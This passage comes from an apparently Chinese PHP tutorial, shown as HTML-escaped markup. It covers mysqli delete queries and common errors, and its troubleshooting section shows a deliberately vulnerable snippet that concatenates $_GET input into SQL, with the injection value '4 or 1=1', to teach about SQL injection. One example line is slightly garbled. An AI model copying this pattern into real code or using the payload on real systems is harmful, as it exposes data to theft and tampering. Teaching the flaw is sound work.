&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 1. 配置连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;test&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;		&lt;span class=&#34;c1&#34;&gt;//数据库库名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 2. 创建链接（使用mysqli函数按格式填写所需参数）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mysqli&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 3. 检测连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;die&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;连接失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 数据库删除语句==============================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//准备一条数据库语句
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;delete from db1 where uid=u4&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;query&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;===&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;删除成功&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;删除失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// 关闭数据库
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;特别的，这里使用的sql语句格式为:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$sql = &amp;quot;delete from 数据表名 where 关键字1=值1&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;问题排查&#34;&gt;问题排查
&lt;/h3&gt;&lt;h4 id=&#34;数据库连接相关错误最基础也最常见&#34;&gt;数据库连接相关错误（最基础也最常见）
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;连接参数配置错误&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;触发方式：修改  &lt;code&gt;$servername / $username / $password / $dbname&lt;/code&gt;  中的任意值，与数据库实际配置不匹配。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例：把  &lt;code&gt;$dbname = &amp;quot;test&amp;quot;&lt;/code&gt;  改成  &lt;code&gt;$dbname = &amp;quot;test123&amp;quot;&lt;/code&gt; （数据库不存在）；把  &lt;code&gt;$password = &amp;quot;root&amp;quot;&lt;/code&gt;  改成  &lt;code&gt;$password = &amp;quot;123456&amp;quot;&lt;/code&gt; （密码错误）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;问题表现：页面直接输出“连接失败”+ 具体错误信息（如  Unknown database &amp;rsquo;test123&amp;rsquo;  或  Access denied for user &amp;lsquo;root&amp;rsquo;@&amp;rsquo;localhost&amp;rsquo; (using password: YES) ）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;问题根源：数据库连接的核心参数（地址、账号、密码、库名）必须与目标数据库完全一致，一旦 mismatch 就会连接失败。初学者常因“本地环境与服务器环境配置不同”“手误输错库名”踩坑。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;未设置字符编码导致中文乱码&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;触发方式：数据库表/字段包含中文字符，且代码中未添加字符集设置。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;问题表现：查询结果中的中文显示为  ???  或乱码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;问题根源：MySQL 数据库默认字符集可能为  latin1 ，而 PHP 页面通常用  UTF-8 ，两者编码不匹配导致中文无法正常解析。代码中缺少字符集设置语句，是初学者最容易忽略的点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如何触发：在数据库  db1  表的  job  字段中存入“程序员”“设计师”等中文字符，直接运行原代码，会发现中文乱码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;sql-执行相关错误隐性且易导致后续逻辑崩溃&#34;&gt;SQL 执行相关错误（隐性且易导致后续逻辑崩溃）
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;SQL 语法/表名/字段名错误，导致  query()  返回  false &lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;触发方式：修改 SQL 语句中的关键字、表名或字段名，导致 SQL 语法无效。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例1：把&lt;code&gt;select * from db1 where id &amp;lt; 4&lt;/code&gt; 改成  &lt;code&gt;selec * from db1 where id &amp;lt; 4&lt;/code&gt;（ select  拼写错误）；&lt;/p&gt;
&lt;p&gt;例2：把  &lt;code&gt;db1&lt;/code&gt;  改成  &lt;code&gt;db1_not_exist&lt;/code&gt; （表不存在）；&lt;/p&gt;
&lt;p&gt;例3：把  &lt;code&gt;id &amp;lt; 4&lt;/code&gt;  改成  &lt;code&gt;id &amp;lt;&lt;/code&gt;（语法不完整）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;问题表现：页面报错  Trying to get property &amp;rsquo;num_rows&amp;rsquo; of non-object （试图访问非对象的  num_rows  属性）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;问题根源： &lt;code&gt;$conn-&amp;gt;query($sql)&lt;/code&gt;  执行失败时（SQL 语法错、表/字段不存在等），会返回  false （而非结果集对象）。原代码直接用  &lt;code&gt;$result-&amp;gt;num_rows&lt;/code&gt; ，相当于给  false  加  -&amp;gt; ，违反 PHP 语法（只有对象才能用  -&amp;gt; ）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;strong&gt;&lt;font style=&#34;color:#df2a3f;&#34;&gt;SQL 注入漏洞（安全层面的严重错误）&lt;/font&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;触发方式：将 SQL 中的硬编码条件（如  id &amp;lt; 4 ）改为拼接用户输入的变量。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例：把  &lt;code&gt;$sql = &amp;quot;select * from db1 where id &amp;lt; 4&amp;quot;&lt;/code&gt;  改成：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$user_input&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// 假设用户输入：4 or 1=1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;select * from db1 where id &amp;lt; &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$user_input&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;问题表现：恶意用户可通过输入  4 or 1=1  等语句，查询表中所有数据（甚至修改/删除数据），导致数据泄露。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;问题根源：原代码用“字符串拼接”方式构造 SQL（虽然当前是硬编码，无风险，但一旦接入用户输入就会触发注入），未使用 MySQLi 的预处理语句（参数化查询），无法过滤恶意输入。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;结果处理相关错误逻辑疏忽导致&#34;&gt;结果处理相关错误（逻辑疏忽导致）
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;字段名与代码访问名不匹配&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;触发方式：修改  &lt;code&gt;$row[&#39;id&#39;] / $row[&#39;uid&#39;] / $row[&#39;job&#39;]&lt;/code&gt;  中的字段名，或修改数据库表的字段名。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例：数据库表中字段名是  uid  而非  uid ，但代码中仍写  $row[&amp;lsquo;userid&amp;rsquo;] ；或把  $row[&amp;lsquo;job&amp;rsquo;]  改成  $row[&amp;lsquo;work&amp;rsquo;] 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;问题表现：页面输出空值（ &amp;rsquo;&amp;rsquo; ）或报错  Undefined index: uid （未定义索引  uid ）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;问题根源： fetch_assoc()  返回的关联数组，键名必须与数据库表的实际字段名完全一致（大小写敏感，取决于数据库配置），一旦拼写错误或字段名修改后未同步代码，就会出现索引不存在的错误。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;循环中变量覆盖或未处理空结果集的边界情况&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;触发方式：在循环外定义了同名变量  $row ，或修改  num_rows  的判断逻辑。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例：在  while  循环前添加  $row = [&amp;lsquo;id&amp;rsquo; =&amp;gt; 100]; ，会导致第一次循环覆盖初始值；或把 &lt;code&gt;if($result-&amp;gt;num_rows&amp;gt;0)&lt;/code&gt; 改成  &lt;code&gt;if($result-&amp;gt;num_rows)&lt;/code&gt; （看似等价，但如果  num_rows  为  0  时没问题，若  result  为  false  则报错，与前面 SQL 执行错误叠加）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;问题表现：数据输出异常（首行数据错误）或报错（如前面提到的非对象访问）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;问题根源：变量作用域未隔离（同名变量覆盖），或对  $result  的合法性判断不完整（只判断了行数，未判断  $result  是否为对象）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;php和html混写实现网页美化&#34;&gt;php和html混写实现网页美化
&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;31
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;32
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;33
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;34
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;35
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;36
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;37
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;38
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;39
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;40
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;41
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;42
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;43
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;44
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;head&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;title&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;测试网页&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;title&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 1. 配置连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;test&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;		&lt;span class=&#34;c1&#34;&gt;//数据库库名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 2. 创建链接（使用mysqli函数按格式填写所需参数）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mysqli&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 3. 检测连接
